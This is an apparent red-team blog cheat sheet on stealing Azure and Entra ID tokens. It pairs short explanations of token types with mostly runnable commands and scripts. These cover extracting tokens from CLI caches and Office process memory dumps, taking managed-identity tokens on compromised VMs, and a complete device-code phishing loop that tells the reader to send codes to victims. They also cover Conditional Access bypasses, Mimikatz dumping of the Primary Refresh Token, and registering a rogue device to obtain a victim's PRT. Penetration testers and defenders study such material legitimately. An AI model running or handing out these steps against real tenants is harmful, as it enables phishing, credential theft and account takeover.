jacobh.io
Azure - Token Collection

Azure - Token Collection

27 min read

Platform: azure

Updated

Purpose: A well maintained guide for token collection methods. Updated as I vet & aggregate my personal notes.

Table of Contents

Token Types & Concepts


Microsoft Azure implements many tokens for many purposes, the table below is a quick reference for most (all?) of the relevant token types for pentest / red team engagements.

Token TypeLifetimeDescription
Access Token~1 hr (up to 24 hr with CAE)JWT presented to APIs as Authorization: Bearer. Scoped to one aud resource. CAE (Continuous Access Evaluation) extends token lifetime to ~24 hours but enables near-real-time revocation on policy violations.
Refresh Token90 days (rolling)Opaque token used to obtain new access tokens without re-authenticating.
ID Token~1 hourJWT containing identity claims about the user (name, UPN, OID). Not used for API auth.
PRT14 days (auto-renew)Primary Refresh Token. Kerberos TGT analog for cloud. Stored in LSASS on Windows. Can be used to mint access tokens for any Microsoft service.
FOCI Token90 daysRefresh token tagged "foci": "1". Works with any app in the FOCI family, regardless of which app was originally used to acquire it.
MRRT90 daysMulti-Resource Refresh Token. Same client ID, different resource. Allows pivoting from one API (e.g. DRS) to another (e.g. Graph).
SAML TokenShort (minutes)XML assertion signed by an IdP (ADFS). Used in federated auth flows. Forgeable with a stolen signing key (Golden SAML).
SAS TokenConfigurableShared Access Signature. URL query parameter granting scoped access to Azure Storage. Not a JWT.
Device Code~15 minutesShort-lived code presented to microsoft.com/devicelogin. Used to initiate device code phishing.
Workload Identity Token~24 hoursOIDC JWT projected into a Kubernetes pod. Exchanged for an Azure access token via client_assertion.
PAT (DevOps)ConfigurableAzure DevOps Personal Access Token. Authenticates to dev.azure.com.

Key insight: An access token is scoped to exactly one aud (audience). A refresh token is not - it can be exchanged for access tokens across multiple resources within the same tenant. See Token Exchange for conversion techniques.

Apps, Resources, and Scopes in Microsoft Entra ID

Its important you understand the distinction between these things. Some terms are kinda interchangeable here.

Think about it this way

Apps request access to resources, resources (also technically apps) are granted specific permissions via scopes.

Apps

An App (first-party application) is a Microsoft product or service registered in Entra ID. Things like Microsoft Teams, OneDrive, Outlook Mobile, Visual Studio Code, etc…

Each app has a unique GUID (App ID) which represents something a user actually signs into or runs (a user facing product). When a user authenticates, they authenticate as that app which then acts on their behalf.

Resources

A Resource is another service or API that the app wants to talk to on behalf of the user. For example, when Microsoft Teams needs to read your calendar, it needs access to the Microsoft Graph resource. When it needs to store files, it might need access to Azure Storage.

Resources are essentially the endpoints for API calls. They are also registered applications in Entra ID, each with their own App ID. Common ones you’ll see repeatedly include:

  • Microsoft Graph - the unified Microsoft 365 API
  • Azure Resource Manager - manages Azure infrastructure
  • Windows Azure Active Directory - the legacy AAD API

Scopes

A Scope is a specific, granular permission within a resource. Rather than granting blanket access to an entire resource, scopes let you say exactly what the app can do there.

For example, Microsoft Graph might grant scopes like:

  • User.Read - read the signed-in user’s profile
  • Mail.ReadWrite - read and write email
  • Calendars.Read - read calendar events

Pre-Consented Scopes

Pre-consented scopes are permissions that have been granted in advance by Microsoft, at the platform level, before any user ever signs in.

When an app has pre-consented scopes:

  • No consent prompt is shown to the user
  • No admin needs to approve anything
  • The app can silently acquire tokens for those resources

Microsoft is acknowledging that specific apps will always require certain scopes, they don’t want to bother the user with endless consent prompts.

This makes apps with lots of pre-consented scopes very valuable for attackers. A token stolen from Microsoft Office theoretically carries access to 376 resources and 602 scopes by default.

Dirk-Jan Mollema and Fabian Bader recently built this amazing site for documenting all of this among other valuable information:

Well-Known Client IDs


Different client IDs trigger different Conditional Access policies and grant different scopes:

ApplicationClient IDNotes
Azure PowerShell1950a258-227b-4e31-a9cf-717495945fc2Best default - broad directory access
Azure CLI04b07795-8ddb-461a-bbee-02f9e1bf7b46Different CA policy triggers
Microsoft Officed3590ed6-52b3-4102-aeff-aad2292ab01cO365 + Graph access, FOCI member
Microsoft Teams1fec8e78-bce4-4aaf-ab1b-5451cc387264Often bypasses strict CA policies
Azure Portalc44b4083-3bb0-49c1-b47d-974e53cbdf3cHighly trusted by Entra ID
Auth Broker29d9ed98-a469-4536-ade2-f981bc1d605eRequired for PRT phishing via DRS
AAD Graph1b730954-1685-4b74-9bfd-dac224a7b894Legacy Graph API - retiring June 30, 2026; migrate to MS Graph

From Existing Sessions - CLI & PowerShell


Goal: Request tokens from an already-authenticated Azure CLI or PowerShell session.

Azure CLI

# default resource manager token
az account get-access-token

# specify a resource url
az account get-access-token --resource "https://vault.azure.net"
az account get-access-token --resource "https://graph.microsoft.com"

# specific resource by type alias
az account get-access-token --resource-type ms-graph
az account get-access-token --resource-type aad-graph  # AAD Graph retiring June 30, 2026 - use ms-graph instead
az account get-access-token --resource-type arm

For each call, you can inspect the returned token with roadtx describe to get an idea of its relative scope. For example:

az account get-access-token --resource "https://graph.microsoft.com" | jq -r .accessToken | roadtx describe

For graph, the scope (scp) of the token is a list of specific operations, where as vault and management may just list user_impersonation as the scope (which is ambiguous), its just a shorthand for “whatever this user can do”.

Azure PowerShell (Az Module)

Warning: In Az.Accounts 4.0.0 / Az 14.0.0+, .Token returns SecureString instead of plain text. Use the ConvertFrom-SecureString forms below, or: [System.Net.NetworkCredential]::new("", (Get-AzAccessToken -AsSecureString).Token).Password

# default arm token (plain text - works in Az < 14; generates deprecation warning in newer versions)
(Get-AzAccessToken).Token

# specific resource URL
(Get-AzAccessToken -ResourceUrl "https://vault.azure.net").Token
(Get-AzAccessToken -ResourceUrl "https://graph.microsoft.com").Token
(Get-AzAccessToken -ResourceUrl "https://storage.azure.com").Token

# by type name - returns SecureString (required in Az.Accounts 4.0+ / Az 14+)
# powershell 7.0+ only
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Arm -AsSecureString).Token -AsPlainText)
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName MSGraph -AsSecureString).Token -AsPlainText)
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName AadGraph -AsSecureString).Token -AsPlainText)  # aad graph retiring June 30, 2026
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName KeyVault -AsSecureString).Token -AsPlainText)
(ConvertFrom-SecureString (Get-AzAccessToken -ResourceTypeName Storage -AsSecureString).Token -AsPlainText)

Microsoft Graph PowerShell (MSGraph tokens only)

$Parameters = @{
    Method     = "GET"
    Uri        = "/v1.0/me"
    OutputType = "HttpResponseMessage"
}
$Response = Invoke-MgGraphRequest @Parameters
$Headers  = $Response.RequestMessage.Headers
$Headers.Authorization.Parameter  # this is the token

Getting tokens from the official Azure CLI or powershell clients is good because they’re highly permissive.

From File System


Goal: Steal cached tokens from disk artifacts left by Azure tools & Microsoft product (office etc…).

Linux / Mac (Plaintext)

# azure CLI token cache -access AND refresh tokens in plaintext
~/.azure/msal_token_cache.json
~/.Azure/msal_token_cache.json

Look for entries with "family_id": "1" - these are FOCI refresh tokens usable across multiple apps (see Token Exchange - FOCI Token Abuse).

Windows

C:\Users\<user>\.Azure\accessTokens.json # older cli format
C:\Users\<user>\.azure\msal_token_cache.bin # binary (DPAPI-encrypted RT, plaintext AT)
C:\Users\<user>\.Azure\TokensCache.dat # legacy azureRM
C:\Users\<user>\AppData\Local\.IdentityService\msal.cache

Note: On Windows, access tokens are readable. Refresh tokens are DPAPI-encrypted. On Linux/Mac both are plaintext.

Legacy AzureRM Artifacts (Plaintext)

Older versions of azure powershell (the AzureRM module) would store refresh tokens in plaintext, you can find them in these locations:

%AppData%\Roaming\Windows Azure Powershell\AzureProfile.json # Plaintext tokens
%USERPROFILE%\.azure\TokenCache.dat
%USERPROFILE%\.Azure\AzureRmContext.json

Search for them:

Get-ChildItem -Path $env:USERPROFILE -Include "AzureProfile.json","TokenCache.dat","AzureRmContext.json" -Recurse -ErrorAction SilentlyContinue

AADInternals - Export Tokens

OpSec: Don’t use a tool like this if you’re against endpoint security.

git clone https://github.com/Gerenios/AADInternals-Endpoints
cd AADInternals-Endpoints

# or from ps gallery:

Install-Module AADInternals
Install-Module AADInternals-Endpoints

Import-Module AADInternals-Endpoints
Import-Module AADInternals

Export-AADIntAzureCliTokens | fl # tokens from CLI
Export-AADIntTeamsTokens | fl # tokens from teams
Export-AADIntTokenBrokerTokens | fl # DPAPI protected, local admin required

Note: On Linux/Mac, Export-AADIntAzureCliTokens reads refresh tokens from the plaintext msal_token_cache.json. On Windows, the refresh token in the .bin cache is DPAPI-encrypted and unreadable - only the access token is recoverable this way.

Downgrade Azure CLI to Read Refresh Tokens

Installing the old 2.3.0 CLI forces a legacy token format that stores refresh tokens in plaintext.

Warning: Microsoft may have removed older CLI builds from their blob storage. If the download fails, build from source (https://github.com/Azure/azure-cli/releases/tag/azure-cli-2.3.0).

# remove current CLI (no admin required for user install)
winget uninstall Microsoft.AzureCLI --all-versions

# install legacy version from microsoft blob
Invoke-WebRequest -Uri https://azurecliprod.blob.core.windows.net/msi/azure-cli-2.3.0.msi -OutFile .\AzureCLI.msi
Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'
rm .\AzureCLI.msi

# re-authenticate - tokens now stored in plaintext at ~/.azure/accessTokens.json
az login

Note: To save/restore an Azure PowerShell context (including tokens) for use on an attacker machine, see Token Usage - Save-AzContext / Import-AzContext.

Some tools to make life worth living


https://github.com/anak0ndah/OAuthBandit (from user context)

  • Leverages native DPAPI to extract Refresh Tokens from Credential Manager
  • Pull from VSCode Azure extension
  • MSAL Shared Cache
  • Encrypted Azure CLI cache
  • WAM Cache
  • TokenBroker .tbres files

https://github.com/jackullrich/AADBrokerDecrypt

  • Tokens from the LocalState cache (application and refresh tokens)
  • Does contain the PRT but its not in a usable state.

From Process Memory


Goal: Extract access tokens from the memory of Microsoft Office and other apps.

Local Microsoft apps (Excel, Word, Teams, Outlook, etc.) cache access tokens in process memory. A memory dump contains them in plaintext.

High-Value Processes

ProcessTokens For
EXCEL.EXE, WINWORD.EXE, POWERPNT.EXEGraph, SharePoint, OneDrive
ms-teams.exe (new Teams) / Teams.exe (classic)Teams, Graph
OUTLOOK.EXEExchange, Graph
powershell.exe / pwsh.exeWhatever resource the session authenticated to

Step 1 - Dump process memory

# use procdomp (task manager dump file works as well)
procdump.exe -ma <PID> C:\Windows\Tasks\dump.dmp
procdump.exe -ma EXCEL.EXE C:\Windows\Tasks\dump.dmp

# powerShell (no external tools - uses MiniDumpWriteDump via comsvcs.dll) (Highly suspicious use of comvscs.dll and rundll32)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Tasks\dump.dmp full

Or: Task Manager -> right-click process -> Create dump file.

Task manager is probably the way to go here.

Step 2 - Extract tokens

# with linux search for jwt pattern
strings dump.dmp | grep 'eyJ0'
type /tmp/t | select-string eyJ0

Good idea to inspect the scope of the new tokens.

echo "eyJ0...." | roadtx describe

From Compute - Managed Identities


Goal: Request tokens from the Azure Instance Metadata Service on a compromised Azure Virtual Machine, Function App, or App Service.

Assuming you’ve compromised an Azure VM, you can steal it’s identity tokens from the metadata endpoint. This includes both system assigned (default) and user assigned identities, although you may need to discover client_ids for user assigned identities.

When you request a token, keep these in mind:

  • If a VM has exactly 1 user assigned identity, it will default to that without the need to specify its client_id.
  • If a VM has 1 system assigned identity, or a system & user assigned identity, it will default to the system one. (you request the user one by its client_id)
  • If the VM has multiple user assigned identities, you must specify the client_id of the identity you would like tokens for in the request.
  • If nothing is returned, the VM has no identity assigned.

VM - System-Assigned Identity

  • Request identity tokens from within a VM you have compromised.
HEADER="Metadata:true" # required header, implemented after SSRF became a problem
URL="http://169.254.169.254/metadata" # default endpoint should work for all VMs
API_VERSION="2021-12-13" # most functional version for this

# management
curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

# graph
curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

# vault
curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

# storage
curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Note: When requesting tokens via IMDS, include the trailing / on the resource parameter for management.azure.com and graph.microsoft.com. Omitting it may cause access_denied errors. Modern SDKs handle this automatically, but raw API calls require it.

VM - With wget (no curl)

sometimes we don’t have curl ;(

wget -qO- --header="Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/"

Example above is just for resource manager tokens, see previous examples for others.

Request Token for a Specific User-Assigned Identity

# pass &client_id= to target a specific managed identity
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/&client_id=<MI-CLIENT-ID>"

Example above is just for resource manager tokens, see previous examples for others.

Enumerate Managed Identities Attached to a VM

# if you have an authenticated session in azure cli & perms to see em

az vm list
az vm identity show --resource-group <rg> --name <vm-name>

# same deal, but list all identities
az identity list

# from inside the VM using the default MI token, if the default identity has those perms.
export TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/" | jq -r .access_token)

export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-12-13" | jq -r '.compute.subscriptionId')

# list all user-assigned MIs in the subscription
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.ManagedIdentity/userAssignedIdentities?api-version=2023-01-31" | jq

Azure PowerShell:

# list all
Get-AzUserAssignedIdentity

# get specific VMs
$vm = Get-AzVM -ResourceGroupName "rg" -Name "vm"
$vm.Identity.UserAssignedIdentities.Values

If you don’t have full auth, but you have an azure resource manager token, you can directly call the APIs to attempt and list available VM metadata and identities.

# set these variables
export SUBSCRIPTION_ID=""
export RESOURCE_GROUP=""
export VM_NAME=""
export TOKEN=""

# list all vms you have perms to see
curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Compute/virtualMachines?api-version=2024-03-01" | jq

# equivalent of `az identity list` - list all identities
curl -s -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.ManagedIdentity/userAssignedIdentities?api-version=2023-01-31" | jq

# equivalent of `az vm identity show` - list identities attached to VM
curl -s  -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=2024-03-01" | jq .identity

From App Service / Function App

Goal: Request tokens from the MSI endpoint on compromised App Services or Function Apps.

App Services use a different endpoint than IMDS, provided via environment variables automatically:

# env vars should be set already by default
# IDENTITY_ENDPOINT - the token endpoint URL
# IDENTITY_HEADER - required auth header value

curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/"

curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://graph.microsoft.com/"

Or use the hardcoded MSI bridge address: (doesn’t always work)

URL="http://169.254.129.5:8081/msi/token"
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$URL?api-version=2019-08-01&resource=https://vault.azure.net/"

Same deal with these as with VMs in terms of system and user assigned identities. requesting a user assigned identity requires the client_id.

# pass &client_id= to target a specific managed identity
curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=https://management.azure.com/&client_id=<MI-CLIENT-ID>"

From Phishing & Device Code Flow


Goal: Trick a user into completing auth with controlled device code, yielding tokens for the attacker.

This technique has been very fruitful for several years, companies are only now starting to block device code auth.

Eventually I’ll workup the gusto to write an initial access cheatsheet which will include other methods to collect tokens for initial access (App consent phishing n such) but at the moment I’ve included this one in token collection as its been the most popular method. Trying not to confuse basic token collection with more in-depth initial access vectors.

Flow is simple:

  • Attacker generates device code, convinces victim to use it, attacker receives users tokens.

Automated Methods

# azure cli
az login --use-device-code

# ROADTools
roadrecon auth --device-code
# azure powerShell
Connect-AzAccount -UseDeviceAuthentication

Direct API Method

Step 1 - Request a device code

# v1.0 endpoint (uses 'resource')
curl -s -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com' \
  "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" | jq

# v2.0 endpoint (uses 'scope')
curl -s -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default' \
  "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" | jq

Send the user_code to the victim. Tell them to go to https://aka.ms/devicelogin.

Step 2 - Poll for the token (bash)

#!/bin/bash
device_code="<paste-from-step-1>"
client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"
resource="https://graph.microsoft.com"
token_url="https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0"
interval=5
expires=900
elapsed=0

while true; do
    sleep "$interval"
    elapsed=$((elapsed + interval))
    [ "$elapsed" -gt "$expires" ] && { echo "Timeout."; exit 1; }

    response=$(curl -sS -X POST "$token_url" \
      -d "client_id=$client_id" \
      -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
      -d "code=$device_code" \
      -d "resource=$resource")

    error=$(echo "$response" | jq -r '.error')
    if [ "$error" = "authorization_pending" ]; then
        echo "Pending..."
    elif [ "$error" = "null" ] || [ -z "$error" ]; then
        echo "SUCCESS"; echo "$response" | jq; break
    else
        echo "Error: $(echo "$response" | jq -r '.error_description')"; exit 1
    fi
done

Step 2 - Generate code & poll for the token (PowerShell)

$body = @{
    "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
    "resource"  = "https://graph.microsoft.com"
}
$auth = Invoke-RestMethod -Method Post `
  -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
  -Body $body

Write-Host "Code: $($auth.user_code)  |  Go to: $($auth.verification_uri)"

$body2 = @{
    "client_id"  = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
    "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
    "code"       = $auth.device_code
    "resource"   = "https://graph.microsoft.com"
}

do {
    Start-Sleep -Seconds $auth.interval
    try {
        $response = Invoke-RestMethod -Method Post `
          -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
          -Body $body2
    } catch {
        $err = $_.ErrorDetails.Message | ConvertFrom-Json
        if ($err.error -ne "authorization_pending") { throw }
    }
} until ($response)

$response.access_token
$response.refresh_token

GraphSpy - Multi-Target Device Code Phishing

GraphSpy can manage multiple simultaneous device code sessions and auto-execute actions when a user authenticates. See Token Usage - GraphSpy for full capabilities.

pipx install graphspy
graphspy
# -> Web UI on http://localhost:5000
  • Phishing tab: Generate multiple device codes simultaneously with different client IDs
  • Auto-actions on auth: Automatically register a Windows Hello key or request a device PRT when the victim authenticates

From Valid Credentials


Goal: Convert username/password to tokens (for accounts without MFA or with MFA gaps).

ROADTools

# if mfa not required
roadrecon auth -u "user@domain.com" -p 'Password123' --tenant <tenant-id>
roadrecon auth -u "user@domain.com" -p 'Password123'
# if mfa required
roadtx interactiveauth

# tokens stored in .roadtools_auth for reuse by roadrecon gather

Conditional Access Policy Bypasses

FindMeAccess

FindMeAccess tests every combination of resource and client ID to find which ones succeed without being blocked by MFA/CAPs:

# audit all resources + clients with one user agent
python3 findmeaccess.py audit -u user@domain.com -p 'password'

# audit with all user agents (finds device-based bypasses)
python3 findmeaccess.py audit -u user@domain.com -p 'password' --ua_all

# list available resources
python3 findmeaccess.py audit --list_resources

# test specific resource + client combo
python3 findmeaccess.py audit -u user@domain.com -p 'password' \
  -c 'd3590ed6-52b3-4102-aeff-aad2292ab01c' -r 'https://graph.microsoft.com'

# request token once you find a working combo
python3 findmeaccess.py token -u user@domain.com -p 'password' \
  -c '1950a258-227b-4e31-a9cf-717495945fc2' -r 'Microsoft Graph API'

# with a specific user agent (bypass device-based CA)
python3 findmeaccess.py token -u user@domain.com -p 'password' \
  -c 'd3590ed6-52b3-4102-aeff-aad2292ab01c' -r 'Azure Graph API' \
  --user_agent 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_6 like Mac OS X) AppleWebKit/605.1.15'

Several resources just don’t have policies applied

You can still pull tokens for these regardless of MFA / CAPs status

Resource IdResource Name
26a4ae64-5862-427f-a9b0-044e62572a4fMicrosoft Intune Checkin
04436913-cf0d-4d2a-9cc6-2ffe7f1d3d1cWindows Notification Service
0a5f63c0-b750-4f38-a71c-4fc0d58b89e2Microsoft Mobile Application Management
1f5530b3-261a-47a9-b357-ded261e17918Azure Multi-Factor Auth Connector
c2ada927-a9e2-4564-aae2-70775a2fa0afOCaaS Client Interaction Service
ff9ebd75-fe62-434a-a6ce-b3f0a8592eafAuthenticator App
# pulling intune checkin token without MFA, using office client_id.
roadtx gettoken -c d3590ed6-52b3-4102-aeff-aad2292ab01c -r 26a4ae64-5862-427f-a9b0-044e62572a4f -u '' -p ''

These don’t really provide any interesting info beyond validating credentials.

sccauth -> avoid conditional access

A new technique was recently published by Fabian Bader to extract the sccauth cookie from a compromised host and exchange that cookie via the “on-behalf-of” flow. This allows an attacker access to resources beyond the Defender XDR Portal (like Graph) without the limitation of conditional access policies. The “on-behalf-of” flow works because services sometimes need to access information from other resources (like Graph) and those services are trusted to request that information “on-behalf-of” the user. Users won’t need to re-consent or authorize again, so to Entra, some conditional access policy restrictions are already fulfilled (device compliance, network location, and user risk). I think Microsoft calls this “Middle-tier Access” and they have guidelines for protecting it.

Key points

  • The sccauth cookie can be extracted on compromised hosts with SSO.
  • The sccauth cookie can be used to request new tokens on-behalf-of the user for other resources (like Graph) for ~ 8 hours.
  • If the user has a short session lifetime configured in Conditional Access, this does not prevent the ability to request access tokens.
  • The cookie can’t be refreshed without performing a full login flow.

Available scopes (tokens can be requested for these)

  • Microsoft Graph
  • Azure AD Graph (legacy)
  • Azure Resource Manager
  • Microsoft Security Center API
  • Microsoft Defender for Cloud Apps
  • Microsoft Office
  • Log Analytics
  • Purview
  • Threat Intelligence Portal

Microsoft’s response: Fabian noted in the article that Microsoft assessed this as Moderate so its not clear if / when this will be remediated. It will probably be a while.

Fabian provided a powershell script as a POC for the extraction, you can find it in the original post sourced below.

Once you have the sccauth cookie, you can use the updated TokenTacticsV2 to do the exchange.

Import-Module .\TokenTactics.psd1

$Response = Get-EntraIDTokenFromSCCAUTHCookie -SCCAuth $cookie -ResourceName MicrosoftGraph

Write-Host $Response.Token

In my testing I was able to get these scopes from Graph without any special modifications.

AgentCollection.Read.Global AgentInstance.Read.All Application.Read.All AppRoleAssignment.ReadWrite.All AuditLog.Read.All Channel.ReadBasic.All ChannelMessage.Send DeviceManagementConfiguration.Read.All DeviceManagementManagedDevices.Read.All DeviceManagementManagedDevices.ReadWrite.All Directory.Read.All eDiscovery.Read.All eDiscovery.ReadWrite.All email Group.Read.All IdentityRiskyAgent.Read.All IdentityRiskyUser.Read.All InformationProtectionPolicy.Read MailboxSettings.Read openid People.Read.All Policy.Read.All Policy.ReadWrite.ConditionalAccess profile Reports.Read.All SecurityEvents.ReadWrite.All ServiceHealth.Read.All ServiceMessage.Read.All Sites.Read.All User.Read User.Read.All

Curl equivalents: Step 1 - Get ya XSRF token (skip if you already have it):

curl -s -c cookies.txt \
  -b "sccauth=YOUR_SCCAUTH_VALUE" \
  "https://security.microsoft.com/"

Step 2 - get ya token

# extract XSRF from cookie jar for the header

XSRF=$(awk '$6 == "XSRF-TOKEN" {print $7}' cookies.txt)
curl -s \
  -b cookies.txt \
  -H "X-XSRF-TOKEN: $(python3 -c "import urllib.parse,sys; print(urllib.parse.unquote(sys.argv[1]))" "$XSRF")" \
  -H "Content-Type: application/json" \
  "https://security.microsoft.com/api/Auth/getToken?resource=https%3A%2F%2Fgraph.microsoft.com%2F"

With TenantId (add two headers):

curl -s \
  -b cookies.txt \
  -H "X-XSRF-TOKEN: $(python3 -c "import urllib.parse,sys; print(urllib.parse.unquote(sys.argv[1]))" "$XSRF")" \
  -H "x-tid: YOUR_TENANT_ID" \
  -H "tenant-id: YOUR_TENANT_ID" \
  -H "Content-Type: application/json" \
  "https://security.microsoft.com/api/Auth/getToken?resource=https%3A%2F%2Fgraph.microsoft.com%2F"

Single-command shortcut (combine both steps if you already have XSRF):

curl -s \
  -b "sccauth=YOUR_SCCAUTH; XSRF-TOKEN=YOUR_XSRF_VALUE" \
  -H "X-XSRF-TOKEN: YOUR_XSRF_VALUE" \
  -H "Content-Type: application/json" \
  "https://security.microsoft.com/api/Auth/getToken?resource=https%3A%2F%2Fgraph.microsoft.com%2F"

Source

PRT Extraction


Goal: Extract the Primary Refresh Token from a Windows device.

Concept: The PRT is the cloud equivalent of a Kerberos TGT. It is:

  • Long-lived (~14 days, auto-renewing)
  • Issued to Entra ID-joined / Hybrid-joined devices
  • Stored in LSASS via the CloudAP plugin
  • Protected by TPM (if available) or DPAPI
  • Usable to get access tokens for any Microsoft service
  • Carries MFA claims if the user authenticated with MFA

Enumeration

dsregcmd /status

Check AzureAdPrt: YES under Device State.

# Check if TPM is available (affects extractability)
Get-Tpm | Select TpmPresent, TpmReady, TpmEnabled

Dumping the PRT (Requires Local Admin)

# Mimikatz
privilege::debug
sekurlsa::cloudap           # Dump PRT and encrypted session key

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect   # Decrypt session key

# Generate usable PRT cookie
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Generate PRT Token with AADInternals

# from mimikatz output
$MimikatzPRT = "MS5BVUVCNFdiUV9UZn..."

# pad base64
while($MimikatzPRT.Length % 4) { $MimikatzPRT += "=" }

# decode
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# session key (from dpapi::cloudapkd output)
$MimikatzKey = "7ee0b1f2eccbae...d83b67a81a0dfa0808"
$SKey = [convert]::ToBase64String([byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# mint PRT token with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# get access token for MS Graph
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

User-Level PRT Tools (No Admin Required)

These extract PRTs without admin/SYSTEM - they use the BrowserCore.exe SSO broker that runs as the logged-in user.

# ROADtoken - extracts PRT + session key via the Chrome SSO extension broker
# https://github.com/dirkjanm/ROADtoken
# 1. Build ROADtoken.exe
# 2. Run as the target user (no elevation needed)
ROADtoken.exe
# Outputs PRT and derived key - feed directly into roadtx:
roadtx prt -prt <PRT> -dk <DerivedKey>
roadtx prtauth -r msgraph

Note: For converting a PRT into usable access tokens, see Token Exchange - PRT → Access Token.

Phishing for PRT


Goal: Upgrade a phished refresh token all the way to a Primary Refresh Token by registering a rogue device in Entra.

Original research: https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/

Full attack flow:

  1. Initiate device code phishing with the Auth Broker client ID and DRS resource
  2. Victim authenticates and completes MFA -> attacker receives DRS-scoped refresh token
  3. Register a rogue device using that refresh token -> device object created in Entra
  4. Exchange refresh token + device keys for a PRT
  5. PRT carries MFA claims from the victim’s session
  6. Optionally: register WHfB key for long-term passwordless persistence
# step 1: Get refresh token via device code (auth broker client, DRS resource)
roadtx gettokens --device-code -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r drs

# step 2: Register a new device
roadtx device -a join -n attacker-device

# pull RT from roadtools auth
cat .roadtools_auth | jq -r .refreshToken

# step 3: Get PRT using device identity + refresh token
roadtx prt --refresh-token <token> -c attacker-device -k attacker-device

# step 4: Use PRT to get tokens for any resource
roadtx prtauth -c msteams -r msgraph

# inject into browser
roadtx browserprtauth -url https://office.com
roadtx browserprtauth -url https://portal.azure.com
roadtx browserprtauth -url https://outlook.office.com/
roadtx browserprtauth -url https://teams.office.com/
roadtx browserprtauth -url https://myapplications.microsoft.com

# delete device when done
roadtx device -a delete -c attacker-device.pem -k attacker-device.key

Workload Identity Federation


Goal: Exchange a Kubernetes OIDC service account token for an Azure access token.

Concept: Azure Workload Identity allows Kubernetes service accounts to be federated with Entra ID app registrations. The K8s API server projects a short-lived OIDC JWT into the pod at a well-known path. This JWT can be exchanged for an Azure access token using client_credentials + client_assertion.

<- section coming soon ->

SAS Token Discovery


Goal: Find Shared Access Signature tokens on compromised compute.

Find SAS Tokens in Environment Variables

Containers and App Services frequently leak SAS tokens via environment variables:

# dump environment - look for SAS parameters (se=, sp=, sig=)
env | grep -iE 'token|sas|sig=|se=|sv='

# real example pattern
AZ_TOKEN=se=2035-01-01T00%3A00Z&sp=r&spr=https&sv=2022-11-02&ss=t&srt=co&sig=<...>

Reconstruct the full URL:

# if you have storage account and table name
STORAGE_ACCOUNT="myaccount"
TABLE_NAME="mytable"
SAS_PARAMS="se=2035-01-01T00%3A00Z&sp=r..."

curl "https://$STORAGE_ACCOUNT.table.core.windows.net/$TABLE_NAME?$SAS_PARAMS"

Find SAS Tokens in Function App Settings

  • Post auth
# WEBSITE_RUN_FROM_PACKAGE often contains a SAS URL to the function zip
az functionapp config appsettings list --name <func> --resource-group <rg> | jq
# look for: WEBSITE_RUN_FROM_PACKAGE, WEBSITE_CONTENTAZUREFILECONNECTIONSTRING

Note: For SAS token format, parameter reference, and generation, see Token Usage - SAS Token Usage & Generation.

Some Token Exfil Scripts


Goal: Collect and exfiltrate tokens from compromised compute resources.

